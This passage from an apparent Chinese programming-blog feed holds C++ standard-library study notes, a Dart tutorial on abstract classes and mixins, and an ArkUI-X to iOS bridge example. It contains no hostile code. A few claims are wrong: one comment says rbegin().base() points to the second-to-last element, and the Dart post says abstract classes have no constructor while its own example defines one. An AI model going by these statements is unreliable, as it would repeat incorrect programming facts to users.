    print(42);   // 输出: Specialized template for int: 42

    return 0;
}

4. 模板特化的应用场景

  • 性能优化:为特定类型提供更高效的实现。
  • 类型约束:为特定类型提供特定的行为。
  • 兼容性:为某些特殊类型(如指针、引用)提供定制化处理。

5. 模板特化的注意事项

  • 全特化必须定义在通用模板之后:编译器需要先看到通用模板,才能理解特化的意义。
  • 偏特化仅适用于类模板:函数模板不支持偏特化,但可以通过重载实现类似功能。
  • 避免过度特化:过多的特化会导致代码复杂度增加,维护困难。

6. 模板特化 vs 函数重载

  • 模板特化:适用于类模板和函数模板,提供针对特定类型的定制实现。
  • 函数重载:适用于函数,通过参数类型或数量的不同提供多种实现。

示例对比:

// 函数模板特化
template <typename T>
void foo(T value) { /* 通用实现 */ }

template <>
void foo<int>(int value) { /* 针对 int 的特化实现 */ }

// 函数重载
void foo(int value) { /* 针对 int 的重载实现 */ }

sp iso对模板特化的例子std::vector<bool> 的特化及其问题

1. std::vector<bool> 的特化

std::vector<bool>std::vector 的一个显式特化版本,专门用于存储布尔值。它的内部实现使用了一种称为“位压缩”的技术,将多个布尔值存储在一个字节中,从而节省内存。

示例:

#include <vector>
#include <iostream>

int main() {
    std::vector<bool> vec = {true, false, true, false};
    for (bool b : vec) {
        std::cout << b << " ";
    }
    return 0;
}

输出:

1 0 1 0

2. std::vector<bool> 的优点

  • 节省内存:每个布尔值只占用一个比特,而不是一个字节。
  • 空间效率高:对于存储大量布尔值的场景,可以显著减少内存占用。

3. std::vector<bool> 的问题与弊端

尽管 std::vector<bool> 在内存使用上有优势,但它也带来了一些严重的问题,导致它在实际使用中备受争议。

3.1 行为不符合标准容器

std::vector<bool> 的行为与其他 std::vector 类型不一致。具体表现为:

  • 元素类型不是 boolstd::vector<bool> 的元素类型是一个代理类(proxy class),而不是直接的 bool 类型。
  • 不能获取元素的地址:由于元素是位压缩存储的,无法直接获取某个布尔值的地址。

示例:

#include <vector>

int main() {
    std::vector<bool> vec = {true, false, true};
    bool* ptr = &vec[0]; // 错误:无法获取 std::vector<bool> 元素的地址
    return 0;
}

3.2 与标准算法的兼容性问题

由于 std::vector<bool> 的元素类型是代理类,许多标准算法无法直接使用。例如:

  • 迭代器问题std::vector<bool>::iterator 的行为与其他容器的迭代器不同。
  • 无法直接使用 autoauto 推导出的类型可能是代理类,而不是 bool

示例:

#include <vector>
#include <algorithm>

int main() {
    std::vector<bool> vec = {true, false, true};
    auto it = vec.begin(); // it 的类型是 std::vector<bool>::iterator,不是 bool*
    *it = false;           // 可以修改值,但行为与其他容器不同
    return 0;
}

3.3 性能问题

  • 访问速度慢:由于需要解压缩位,访问 std::vector<bool> 的元素比访问普通 std::vector 的元素更慢。
  • 修改效率低:修改某个布尔值可能需要读取和写入整个字节,而不是直接修改一个比特。

3.4 与其他容器的接口不一致

std::vector<bool> 的接口与其他容器不一致,导致代码的可移植性和可维护性降低。例如:

  • 无法直接与其他容器交互:例如,无法直接将 std::vector<bool> 转换为 std::vector<int>

L23 类型别名

概念

类型别名是为已有的类型赋予一个新的名称,它在编程中起到简化代码、提高可读性和可维护性的作用。

定义方式

在 C++ 中,可以使用 using 关键字来定义类型别名。例如:

using IntVector = std::vector<int>;

这样,IntVector 就成为了 std::vector<int> 的别名,后续在代码中可以直接使用 IntVector 来代替 std::vector<int>,使代码更加简洁。

应用场景

  1. 简化复杂类型:当需要频繁使用复杂的类型,如嵌套的模板类型时,类型别名可以大大简化代码。例如:
    using MapOfVectors = std::map<std::string, std::vector<int>>;
    
    使用 MapOfVectors 比直接使用 std::map<std::string, std::vector<int>> 要清晰得多。
  2. 提高代码可读性:为具有特定含义的类型定义别名,可以让代码的意图更加明确。例如,在处理图形相关的数据时:
    using Point = std::pair<int, int>;
    
    使用 Point 来表示二维坐标点,比直接使用 std::pair<int, int> 更能表达出数据的含义。

L24 逆向迭代器

概念

逆向迭代器是一种特殊的迭代器,它允许我们从容器的末尾开始向前遍历容器中的元素,与正向迭代器的遍历方向相反。

获取逆向迭代器

在 C++ 标准库的容器中,可以通过 rbegin()rend() 成员函数来获取逆向迭代器。其中,rbegin() 返回指向容器最后一个元素的逆向迭代器,rend() 返回一个指向“过去末尾”(past-the-end)的逆向迭代器,用于表示逆向迭代的结束位置。

使用示例

std::vector<int> vec = {1, 2, 3, 4, 5};
for (auto it = vec.rbegin(); it != vec.rend(); ++it) {
    std::cout << *it << " ";
}
// 输出:5 4 3 2 1

在这个例子中,通过逆向迭代器从 vec 的最后一个元素开始向前遍历,依次输出每个元素的值。

与正向迭代器的关系

逆向迭代器和正向迭代器之间存在一定的转换关系。例如,可以通过 base() 成员函数将逆向迭代器转换为对应的正向迭代器。需要注意的是,转换后的正向迭代器会指向逆向迭代器所指元素的下一个位置。例如:

auto it = vec.rbegin();
auto normalIt = it.base();
// 此时 normalIt 指向 vec 的倒数第二个元素

L25 std::map

概述

  • std::map 是一个基于红黑树实现的关联容器,用于存储键值对。
  • 键值对中的键是唯一的,且按键的顺序自动排序。
  • 位于 <map> 头文件中。

特点

  • 键值对存储:存储键值对,键是唯一的。
  • 自动排序:按键的顺序自动排序,可以自定义排序规则。
  • 高效查找:查找、插入和删除操作的时间复杂度为 O(log n)。
  • 支持迭代器:可以使用标准库的算法和范围 for 循环。

示例代码

#include <iostream>
#include <map>

int main() {
    // 创建一个 map,键为 int,值为 string
    std::map<int, std::string> m;

    // 插入键值对
    m[1] = "one";
    m[2] = "two";
    m[3] = "three";

    // 查找键值对
    auto it = m.find(2);
    if (it != m.end()) {
        std::cout << "Found: " << it->first << " -> " << it->second << std::endl; // 输出: Found: 2 -> two
    }

    // 遍历 map
    for (const auto& pair : m) {
        std::cout << pair.first << " -> " << pair.second << std::endl;
    }

    // 删除键值对
    m.erase(2);

    // 检查键是否存在
    if (m.count(2) == 0) {
        std::cout << "Key 2 is not found." << std::endl; // 输出: Key 2 is not found.
    }

    return 0;
}

std::map 常用方法

1. 构造函数

  • 默认构造:创建一个空的 std::map
    std::map<int, std::string> m;
    
  • 自定义排序:使用自定义的比较函数。
    struct Compare {
        bool operator()(int a, int b) const {
            return a > b; // 降序排序
        }
    };
    std::map<int, std::string, Compare> m;
    

2. 插入

  • 使用 [] 操作符:插入键值对,如果键已存在,则更新值。
    m[1] = "one";
    
  • 使用 insert 方法:插入键值对,如果键已存在,则不插入。
    m.insert({2, "two"});
    m.insert(std::make_pair(3, "three"));
    

3. 查找

  • 使用 find 方法:查找键值对,返回迭代器。
    auto it = m.find(2);
    if (it != m.end()) {
        std::cout << "Found: " << it->first << " -> " << it->second << std::endl;
    }
    
  • 使用 count 方法:检查键是否存在,返回 0 或 1。
    if (m.count(2) == 1) {
        std::cout << "Key 2 is found." << std::endl;
    }
    

4. 删除

  • 使用 erase 方法:删除键值对。
    m.erase(2); // 删除键为 2 的键值对
    

5. 遍历

  • 使用范围 for 循环:遍历 std::map
    for (const auto& pair : m) {
        std::cout << pair.first << " -> " << pair.second << std::endl;
    }
    
  • 使用迭代器:遍历 std::map
    for (auto it = m.begin(); it != m.end(); ++it) {
        std::cout << it->first << " -> " << it->second << std::endl;
    }
    

6. 其他方法

  • 获取大小:使用 size() 方法获取 std::map 的大小。
    size_t size = m.size(); // 获取 map 的大小
    
  • 清空:使用 clear() 方法清空 std::map
    m.clear(); // 清空 map
    
  • 检查是否为空:使用 empty() 方法检查 std::map 是否为空。
    bool isEmpty = m.empty(); // 检查 map 是否为空
    

示例代码

#include <iostream>
#include <map>

int main() {
    // 创建一个 map,键为 int,值为 string
    std::map<int, std::string> m;

    // 插入键值对
    m[1] = "one";
    m[2] = "two";
    m[3] = "three";

    // 查找键值对
    auto it = m.find(2);
    if (it != m.end()) {
        std::cout << "Found: " << it->first << " -> " << it->second << std::endl; // 输出: Found: 2 -> two
    }

    // 遍历 map
    for (const auto& pair : m) {
        std::cout << pair.first << " -> " << pair.second << std::endl;
    }

    // 删除键值对
    m.erase(2);

    // 检查键是否存在
    if (m.count(2) == 0) {
        std::cout << "Key 2 is not found." << std::endl; // 输出: Key 2 is not found.
    }

    return 0;
}

输出

Found: 2 -> two
1 -> one
2 -> two
3 -> three
Key 2 is not found.

L26 智能指针

智能指针是一种包装了原始指针的类,能够自动管理内存的生命周期。它们可以帮助我们避免内存泄漏和悬空指针等常见的内存管理问题。C++ 标准库提供了几种智能指针类型,最常用的有:

  • std::unique_ptr
  • std::shared_ptr
  • std::weak_ptr

1. std::unique_ptr

std::unique_ptr 是最基础的智能指针,它保证指向的对象唯一且不可共享。当 unique_ptr 被销毁时,所指向的对象也会自动销毁。

特点:

  • 独占所有权:每个 unique_ptr 只能有一个所有者,不能共享。
  • 移动语义:可以通过 std::move() 转移所有权,但不能复制 unique_ptr
  • 自动释放资源:当 unique_ptr 超出作用域时,它所管理的资源会自动释放。

使用场景:

  • 当你希望拥有对象的独占所有权,并且不需要共享资源时,使用 std::unique_ptr

示例代码:

#include <memory>
#include <iostream>

class Resource {
public:
    Resource() { std::cout << "Resource acquired!" << std::endl; }
    ~Resource() { std::cout << "Resource destroyed!" << std::endl; }
};

int main() {
    // 创建 unique_ptr,自动管理资源
    std::unique_ptr<Resource> ptr1 = std::make_unique<Resource>();

    // 资源自动释放,无需手动 delete
    return 0;
}

2. std::shared_ptr

std::shared_ptr 允许多个指针共享同一块资源。当最后一个指向该资源的 shared_ptr 被销毁时,资源才会被释放。

特点:

  • 共享所有权:多个 shared_ptr 可以共享同一个资源。
  • 引用计数shared_ptr 内部使用引用计数来跟踪有多少个指针共享资源。当引用计数归零时,资源被销毁。
  • 线程安全:引用计数的增加和减少是线程安全的,但对资源本身的访问不保证线程安全。

使用场景:

  • 当你希望多个对象共享同一资源,并且你不确定谁会在最后释放资源时,使用 std::shared_ptr

示例代码:

#include <memory>
#include <iostream>

class Resource {
public:
    Resource() { std::cout << "Resource acquired!" << std::endl; }
    ~Resource() { std::cout << "Resource destroyed!" << std::endl; }
};

int main() {
    // 创建 shared_ptr,多个指针可以共享资源
    std::shared_ptr<Resource> ptr1 = std::make_shared<Resource>();
    std::shared_ptr<Resource> ptr2 = ptr1;  // 引用计数增加

    std::cout << "ptr1 use_count: " << ptr1.use_count() << std::endl;
    std::cout << "ptr2 use_count: " << ptr2.use_count() << std::endl;

    return 0;
}

3. std::weak_ptr

std::weak_ptr 是一种不控制资源生命周期的智能指针。它用来解决 shared_ptr 引用循环的问题。weak_ptr 不增加引用计数,因此不会影响资源的释放。

特点:

  • 弱引用weak_ptr 不能直接访问所指向的对象。它需要通过 shared_ptr 转换来访问。
  • 解决循环引用问题weak_ptr 用来打破 shared_ptr 之间的循环引用。
  • 不管理资源weak_ptr 不拥有资源,它只是观察资源。

使用场景:

  • 用于观察对象而不干预其生命周期,特别是在避免循环引用的场景中使用。

示例代码:

#include <memory>
#include <iostream>

class Resource {
public:
    Resource() { std::cout << "Resource acquired!" << std::endl; }
    ~Resource() { std::cout << "Resource destroyed!" << std::endl; }
};

int main() {
    std::shared_ptr<Resource> ptr1 = std::make_shared<Resource>();
    std::weak_ptr<Resource> weakPtr = ptr1;  // 创建 weak_ptr

    std::cout << "ptr1 use_count: " << ptr1.use_count() << std::endl;

    // weak_ptr 转换为 shared_ptr 使用
    if (auto spt = weakPtr.lock()) {
        std::cout << "Resource is still available." << std::endl;
    } else {
        std::cout << "Resource is no longer available." << std::endl;
    }

    return 0;
}

4. 总结

  • std::unique_ptr:用于唯一拥有资源,自动释放资源,不能共享。
  • std::shared_ptr:用于共享资源,引用计数确保资源不会过早释放。
  • std::weak_ptr:不增加引用计数,用于打破循环引用,避免不必要的资源保持。

通过使用智能指针,C++ 程序可以更安全、简洁地管理资源,避免手动内存管理中的错误。

L27 std::transform

std::transform 是 C++ 标准库中用于将容器中的元素转换(映射)到新值的算法。它常常与容器(如 std::vector)一起使用,用于执行元素级的操作,如转换、修改、映射等。

函数签名:

template <class InputIt, class OutputIt, class UnaryOperation>
OutputIt transform(InputIt first, InputIt last, OutputIt d_first, UnaryOperation op);

参数:

  • InputIt first, InputIt last: 输入序列的范围,firstlast 是输入容器的迭代器,表示处理元素的范围。
  • OutputIt d_first: 输出序列的起始位置,指定转换结果的存储位置。
  • UnaryOperation op: 一个一元操作,作用于输入序列中的每个元素,并生成转换后的结果。

返回值:

  • 返回指向目标容器(输出序列)末尾的迭代器。

例子:

  1. 基本用法: 将容器中的每个元素乘以 2。
#include <iostream>
#include <vector>
#include <algorithm>

int main() {
    std::vector<int> v{1, 2, 3, 4, 5};
    std::vector<int> result(v.size());

    // 使用 transform 将每个元素乘以 2
    std::transform(v.begin(), v.end(), result.begin(), [](int x) {
        return x * 2;
    });

    for (int num : result) {
        std::cout << num << " "; // 输出:2 4 6 8 10
    }

    return 0;
}
  1. 转换到不同数据类型: 使用 std::to_string 转换整数为字符串。
#include <iostream>
#include <vector>
#include <algorithm>
#include <string>

int main() {
    std::vector<int> v{8, 13, 21, 34, 55};
    std::vector<std::string> result(v.size());

    // 使用 transform 转换为字符串
    std::transform(v.begin(), v.end(), result.begin(), [](int x) {
        return std::to_string(x * 2); // 乘以 2 并转为字符串
    });

    for (const std::string& str : result) {
        std::cout << str << " "; // 输出:16 26 42 68 110
    }

    return 0;
}
  1. 修改原容器: 可以将结果直接存储回原容器,避免额外创建目标容器。
#include <iostream>
#include <vector>
#include <algorithm>

int main() {
    std::vector<int> v{1, 2, 3, 4, 5};

    // 使用 transform 修改原容器
    std::transform(v.begin(), v.end(), v.begin(), [](int x) {
        return x * 2;
    });

    for (int num : v) {
        std::cout << num << " "; // 输出:2 4 6 8 10
    }

    return 0;
}

变种:

  1. 带有两个输入序列的版本: std::transform 也可以接受两个输入序列,执行元素级的操作。
std::transform(first1, last1, first2, d_first, binary_op);
  • first1, last1: 第一个输入序列的范围。
  • first2: 第二个输入序列的起始位置。
  • d_first: 输出序列的起始位置。
  • binary_op: 一个二元操作,接受两个输入序列的元素进行操作。

例子:

将两个容器中的元素相加:

#include <iostream>
#include <vector>
#include <algorithm>

int main() {
    std::vector<int> v1{1, 2, 3, 4, 5};
    std::vector<int> v2{5, 4, 3, 2, 1};
    std::vector<int> result(v1.size());

    // 使用 transform 对应元素相加
    std::transform(v1.begin(), v1.end(), v2.begin(), result.begin(), std::plus<int>());

    for (int num : result) {
        std::cout << num << " "; // 输出:6 6 6 6 6
    }

    return 0;
}

总结:

  • std::transform 是一个非常强大的算法,适用于多种场景,尤其是当需要修改、转换或组合容器中的数据时。
  • 它支持一元或二元操作,可以处理不同数据类型和容器类型。
  • 通过与 Lambda 表达式配合使用,std::transform 可以简洁地实现复杂的元素级处理。

by ABLing at January 27, 2025 09:32 AM

juejin android

Dart 之抽象类、混入

Dart之抽象类、混入.png

前言

抽象类提供了一种更加方便的代码复用形式,为继承的子类提供了一组共享的属性和方法(可以不具体实现)。 混入是为解决Dart中只支持单继承而带来的局限性而引入的一种轻量级多重继承形式。抽象类与混入有许多相似的地方,因此这里将二者放在一起进行介绍。接下来,我们一起去了解一下什么是抽象类与混入。

一、抽象类

抽象类是类之上的抽象,其为类定义提供了一个可修改的模版或契约。

1.1、抽象类概念

抽象类是不能被实例化的类。其具有以下特点:

  • 不能被实例化:抽象类不能被实例化为对象。
  • 没有构造函数:抽象类不能被实例化为对象,也就不需要构造函数。
  • 支持抽象方法:抽象类支持定义抽象的方法,即方法不用具体的实现细节,而强制由子类实现。
  • 支持具体方法:抽象类和其它类一样也可提供具体方法。

1.2、抽象类的定义

抽象类使用 abstract 关键字定义。

由abstract关键字 + class关键字 + 抽象类类名 + 大括号({})组成。

示例:

/// 定义一个Animal的抽象类
abstract class Animal{
    String name; //  抽象类的属性
    Animal(this.name); // 为子类提供的构造函数
    void introduce(){  // 具体方法,实现函数的具体细节
        print('我是${this.name}');
    }
    void skill(); // 抽象方法,不实现函数的具体细节,强制其子类实现。
}

如果其子类不实现抽象方法则会出现如下图的错误。

抽象类示例错误.png 实现抽象方法后:

/// 定义一个Animal的抽象类
abstract class Animal{
  String name; //  抽象类的属性
  Animal(this.name); // 为子类提供的构造函数
  void introduce(){  // 具体方法,实现函数的具体细节
    print('我是${this.name}');
  }
  void skill(); // 抽象方法,不实现函数的具体细节,强制其子类实现。
}

class Bird extends Animal{
  Bird(super.name);
  void skill(){
    print('${this.name}会飞!');
  }
}
void main() {
  Bird parrot = Bird('鹦鹉');
  parrot.introduce(); // 输出:我是鹦鹉
  parrot.skill(); // 输出:鹦鹉会飞!
}

1.3、抽象类的优势

  • 强制性:子类必须实现抽象类的抽象方法。
  • 一致性:子类必须继承抽象类的属性和方法,确保了子类具有相同的结构。
  • 复用性:抽象类为子类提供了属性和方法(和普通类一样提高了代码复用)。

二、混入类(Mixin)

混入(Mixin)是Dart提供的一种轻量级多重继承形式,其弥补了Dart单继承带来的缺陷。你可能会有一个疑问,Dart为什么不直接支持多继承呢?这不是更快捷吗?答案是多继承会带来一个难以抉择的局面,即菱形问题。下面我们先一起来看看什么是菱形问题。

2.1、菱形问题

菱形问题是当一个类从两个或多个基类派生,而这些基类又共同继承自同一个祖先类时,可能会出现方法或属性的二义性。

菱形问题又称为钻石问题,它是多继承带来的二义性问题。

注:称其为菱形问题是因其形状如菱形,故称为菱形问题,当出现复杂继承关系时就会出现其形状状如钻石。

多继承二义性图.png 如图所示,菱形问题即当一个子类继承多个父类的方法(或属性),而继承的这些方法(或属性)又同时继承自同一个父类。当这个子类去继承这两个父类的相同方法(或属性)时,会出现这个子类不知道选择那个父类的方法(或属性)去继承。

出现了问题,当然就要解决问题,不同的编程语言提出了不同的解决方法,Java中通过接口来实现类似于多继承的效果,避免了直接多继承带来的菱形问题。而在Dart中则是通过 Mixin(混入)来实现类似的效果。

2.2、混入的概念

混入(Mixin)Dart中解决菱形问题的一种方案,通过混入可以组合不同的类的功能到一个类中,而不需要复杂的类继承结构。其具有如下优势:

  • 解决二义性:满足多继承的业务需求的同时,而不出现菱形问题。
  • 简洁性:避免了传统多重继承带来的复杂性。
  • 灵活性:可以在不改变类层次结构的同时轻松组合多种功能。
  • 复用性:可以将常用的属性和方法封装在Mixin中,在需要时进行引入。

2.3、混入类的定义

混入(Mixin)使用 mixin 关键字定义。

由 mixin 关键字 + 类名 + 大括号({})组成。

注意:混入没有构造函数

示例:

/// 使用关键字mixin定义一个混入类Fly
mixin Fly{
    void canfly(){
        print('会飞!');
    }
}

2.4、混入的使用

混入(Mixin)通过 with 关键字来使用。

示例: 通过混入实现单个功能的组合。

/// 使用关键字mixin定义一个混入类Fly
mixin Fly{
  void canFly(){
    print('我会飞!');
  }
}
// 使用 Mixin 的类
class Bird with Fly{
  String name;
  Bird(this.name);
  void introduce(){
    print('我是${this.name}!');
  }
}
void main() {
  Bird parrot = Bird('鹦鹉');
  parrot.introduce(); // 输出:我是鹦鹉!
  parrot.canFly(); // 输出:我会飞!
}

示例: 通过混入实现多个功能的组合。

/// 定义混入类Fly、Roar
mixin Fly{
  void canFly(){
    print('我会飞!');
  }
}
mixin Roar{
  void canRoar(){
    print('我会叫!');
  }
}
// 使用 Mixin 的类
class Bird with Fly, Roar{
  String name;
  Bird(this.name);
  void introduce(){
    print('我是${this.name}!');
  }
}
void main() {
  Bird parrot = Bird('鹦鹉');
  parrot.introduce(); // 输出:我是鹦鹉!
  parrot.canFly(); // 输出:我会飞!
  parrot.canRoar(); // 输出:我会叫!
}

2.5、混入的约束

混入(Mixin)可以约束哪些类可以进行混入。也就是说只有满足约束的类才可以使用with关键字进行使用。

混入约束条件使用 on 关键字定义。

示例:

/// 定义Animal类
class Animal{
  String name;
  Animal(this.name);
}
/// 定义Mixin类Fly并限定只能Animal派生类使用
mixin Fly on Animal {
  void canFly(){
    print('我会飞!');
  }
}
mixin Roar{
  void canRoar(){
    print('我会叫!');
  }
}
// 使用 Mixin 的类
class Bird extends Animal with Fly, Roar{
  Bird(super.name);
  void introduce(){
    print('我是${this.name}!');
  }
}
void main() {
  Bird parrot = Bird('鹦鹉');
  parrot.introduce(); // 输出:我是鹦鹉!
  parrot.canFly(); // 输出:我会飞!
  parrot.canRoar(); // 输出:我会叫!
}

如果不是Animal子类则会出现下图中的错误(编译器报错)。

混入错误示例.png

2.6、混入约束的执行顺序

混入的约束具有执行顺序,越靠近 with 关键字的先进行混入。

示例:

mixin A {
  void detailA() {
    print('我是Mixin: A 的方法');
  }
}
mixin B {
  void detailB() {
    print('我是Mixin: B 的方法');
  }
}
// 通过on关键字约束,若要混入C必须是先混入A,B
mixin C on A, B {
  void detailC() {
    print('我是Mixin: C 的方法');
    super.detailA();
    super.detailB();
  }
}
/// 定义MyClass 类
class MyClass with A, B, C {  // 先混入A,B在混入C
  void myMethod() {
    detailA();
    detailB();
    detailC();
  }
}

void main() {
  MyClass myClass = MyClass();
  myClass.myMethod();
}
// 输出:
我是Mixin: A 的方法
我是Mixin: B 的方法 // 混入 A、B的结果
我是Mixin: C 的方法 // 本行及下面的为混入 C 的结果
我是Mixin: A 的方法
我是Mixin: B 的方法

若定义MyClass类,混入A,B,C时不先混入A,B则会出现下图所示错误。

混入顺序错误示例.png

三、总结

本小节介绍了Dart中的抽象类、混入,其中在抽象类部分介绍了抽象类的一些优势及定义。在混入部分,首先介绍了多继承的二义性问题,其次为解决此问题接着介绍了混入的概念,最后介绍了Dart中混入的定义及混入的约束。

by 好的佩奇 at January 27, 2025 09:17 AM

juejin ios

带你玩转ArkUI-X 调用原生 iOS 端代码通信

前言导读

各位同学,在这个2024年工作日的最后一天,就给各位分享一个ArkUI-X 调用原生 iOS 端代码通信 的案例。如果你正在使用 ArkUI-X 开发跨平台应用那么相信这个案例对你大有帮助,我们废话不多说正式开始

效果图

image.png

image.png

image.png 通过观察界面变化我们可以看到 我们通过和ios的oc,代码交互我们可以从arkui端调用 oc的方法也可以通过 oc 调用我们的arkui代码

具体实现

  • arkui 端

// 导入平台桥接模块
import bridge from '@arkui-x.bridge';
  • 创建平台桥接对象
// 创建平台桥接对象
private bridgeImpl = bridge.createBridge('Bridge');
  • 调用ios端逻辑
 // 发送数据到iOS侧,并通过状态变量,
//将iOS侧的响应数据显示在页面上
await this.bridgeImpl.sendMessage('Hello ArkUI-X!').then((data)=>{
 this.nativeResponse=data?.toString();
 })
  • 接收ios 端回调逻辑
getHelloArkUI() {
  // 调用iOS侧方法
  this.bridgeImpl.callMethod('getHelloArkUI').then((result) => {
    // 通过状态变量,将iOS侧方法的返回值显示在页面上
    this.helloArkUI = result?.toString();
  });
}
完整代码
// Index.ets

// 导入平台桥接模块
import bridge from '@arkui-x.bridge';

@Entry
@Component
struct Index {
  // 创建平台桥接对象
  private bridgeImpl = bridge.createBridge('Bridge');
  @State helloArkUI: string|undefined= '';
  @State nativeResponse: string|undefined = '';

  aboutToAppear() {
    this.getHelloArkUI();
  }

  getHelloArkUI() {
    // 调用iOS侧方法
    this.bridgeImpl.callMethod('getHelloArkUI').then((result) => {
      // 通过状态变量,将iOS侧方法的返回值显示在页面上
      this.helloArkUI = result?.toString();
    });
  }

  build() {
    Row() {
      Column() {
        Text(this.helloArkUI)
          .fontSize(15)
          .margin(10)
        Button('sendMessage')
          .fontSize(15)
          .margin(10)
          .onClick(async () => {
            // 发送数据到iOS侧,并通过状态变量,将iOS侧的响应数据显示在页面上
            await this.bridgeImpl.sendMessage('Hello ArkUI-X!').then((data)=>{
              this.nativeResponse=data?.toString();
            })
          })
        Text('Response from Native: ' + this.nativeResponse)
          .fontSize(15)
          .margin(10)
      }
      .width('100%')
    }
    .height('100%')
  }
}

iOS端代码

  • 创建插件类 BridgeClass
  • .h文件
// BridgeClass.h

// 引用平台桥接模块
#import <libarkui_ios/BridgePlugin.h>

NS_ASSUME_NONNULL_BEGIN

@interface BridgeClass : BridgePlugin
- (NSString*)getHelloArkUI;
@end

NS_ASSUME_NONNULL_END
  • .m 文件
// BridgeClass.m

#import "BridgeClass.h"

// iOS侧方法,供ArkUI侧调用
@implementation BridgeClass
- (NSString*)getHelloArkUI {
    return @"Hello ArkUI!";
}
@end
  • 注册插件建立平台桥接

// 建立与ArkUI侧同名的平台桥接,即可用于消息传递
// 创建平台桥接实例(将在since 13废弃,推荐使用新构造方法)
// self.plugin = [[BridgeClass alloc] initBridgePlugin:
//@"Bridge" instanceId:instanceId];
// 创建平台桥接实例
self.plugin = [[BridgeClass alloc] initBridgePlugin:@"Bridge"
bridgeManager:[mainView getBridgeManager]];
self.plugin.messageListener = self;
  • 监听ArkUI侧发来的消息
// 监听ArkUI侧发来的消息
#pragma mark - listener
- (NSString*)onMessage:(id)data {
   
    NSLog(@"data 原生鸿蒙传递过来的数据 %@",data);
    return @"oc onMessage success";
}
完整代码
/*
 * Copyright (c) 2023 Huawei Device Co., Ltd.
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#import "AppDelegate.h"
#import "EntryEntryAbilityViewController.h"
#import <libarkui_ios/StageApplication.h>

#import <libarkui_ios/StageApplication.h>
#import <libarkui_ios/BridgePlugin.h>
#import "BridgeClass.h"

#define BUNDLE_DIRECTORY @"arkui-x"
#define BUNDLE_NAME @"com.example.bridgestage"


#define BUNDLE_DIRECTORY @"arkui-x"
#define BUNDLE_NAME @"com.example.arkuitoios"

@interface AppDelegate ()
<IMessageListener> {}
@property (nonatomic, strong) BridgeClass* plugin;

@end

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [StageApplication configModuleWithBundleDirectory:BUNDLE_DIRECTORY];
    [StageApplication launchApplication];
    
    NSString *instanceName = [NSString stringWithFormat:@"%@:%@:%@",BUNDLE_NAME, @"entry", @"EntryAbility"];
    
    
    
    EntryEntryAbilityViewController *mainView = [[EntryEntryAbilityViewController alloc]
                                                 initWithInstanceName:instanceName];
   

    [self setNavRootVC:mainView];
    
    // 建立与ArkUI侧同名的平台桥接,即可用于消息传递
       // 创建平台桥接实例(将在since 13废弃,推荐使用新构造方法)
      // self.plugin = [[BridgeClass alloc] initBridgePlugin:
       //@"Bridge" instanceId:instanceId];
       // 创建平台桥接实例
       self.plugin = [[BridgeClass alloc] initBridgePlugin:@"Bridge"
        bridgeManager:[mainView getBridgeManager]];
       self.plugin.messageListener = self;
    
    return YES;
}

// 监听ArkUI侧发来的消息
#pragma mark - listener
- (NSString*)onMessage:(id)data {
   
    NSLog(@"data 原生鸿蒙传递过来的数据 %@",data);
    return @"oc onMessage success";
}

- (void)onMessageResponse:(id)data {
    
}

- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<NSString *,id> *)options {
    NSLog(@"appdelegate openUrl callback, url : %@", url.absoluteString); // eg: (com.entry.arkui://entry?OtherAbility)

    NSString *bundleName = url.scheme;
    NSString *moduleName = url.host;
    NSString *abilityName, *params;

    NSURLComponents * urlComponents = [NSURLComponents componentsWithString:url.absoluteString];
    NSArray <NSURLQueryItem *> *array = urlComponents.queryItems;
        for (NSURLQueryItem * item in array) {
        if ([item.name isEqualToString:@"abilityName"]) {
        abilityName = item.value;
        } else if ([item.name isEqualToString:@"params"]) {
        params = item.value;
        }
        }

        [self handleOpenUrlWithBundleName:bundleName
        moduleName:moduleName
        abilityName:abilityName
        params:params, nil];

        return YES;
        }

- (BOOL)handleOpenUrlWithBundleName:(NSString *)bundleName
                         moduleName:(NSString *)moduleName
                        abilityName:(NSString *)abilityName
                             params:(NSString *)params, ...NS_REQUIRES_NIL_TERMINATION {
    
    id rootVC = [[UIApplication sharedApplication].delegate window].rootViewController;
    BOOL hasRoot = NO;
    if ([rootVC isKindOfClass:[UINavigationController class]]) {
        hasRoot = YES;
    }
    
    id subStageVC = nil;
    
    if ([moduleName isEqualToString:@"entry"] && [abilityName isEqualToString:@"EntryAbility"]) {
        NSString *instanceName = [NSString stringWithFormat:@"%@:%@:%@",bundleName, moduleName, abilityName];
        EntryEntryAbilityViewController *otherVC = [[EntryEntryAbilityViewController alloc] initWithInstanceName:instanceName];
        subStageVC = (EntryEntryAbilityViewController *)otherVC;
    } else if ([moduleName isEqualToString:@"entry"] && [abilityName isEqualToString:@"EntryAbility"]) {
        NSString *instanceName = [NSString stringWithFormat:@"%@:%@:%@",bundleName, moduleName, abilityName];
        EntryEntryAbilityViewController *otherVC = [[EntryEntryAbilityViewController alloc] initWithInstanceName:instanceName];
        subStageVC = (EntryEntryAbilityViewController *)otherVC;
    } // other ViewController
    
    if (!subStageVC) {
        return NO;
    }
    
    if (!hasRoot) {
        [self setNavRootVC:subStageVC];
    } else {
        UINavigationController *rootNav = (UINavigationController *)self.window.rootViewController;
        [rootNav pushViewController:subStageVC animated:YES];
    }
    return YES;
}

- (void)setNavRootVC:(id)viewController {
    self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];
    self.window.backgroundColor = [UIColor whiteColor];
    [self.window makeKeyAndVisible];
    UINavigationController *navi = [[UINavigationController alloc]initWithRootViewController:viewController];
    [self setNaviAppearance:navi];
    self.window.rootViewController = navi;
}

- (void)setNaviAppearance:(UINavigationController *)navi {
    UINavigationBarAppearance *appearance = [UINavigationBarAppearance new];
    [appearance configureWithOpaqueBackground];
    appearance.backgroundColor = UIColor.whiteColor;
    navi.navigationBar.standardAppearance = appearance;
    navi.navigationBar.scrollEdgeAppearance = navi.navigationBar.standardAppearance;
}

@end

最后总结:

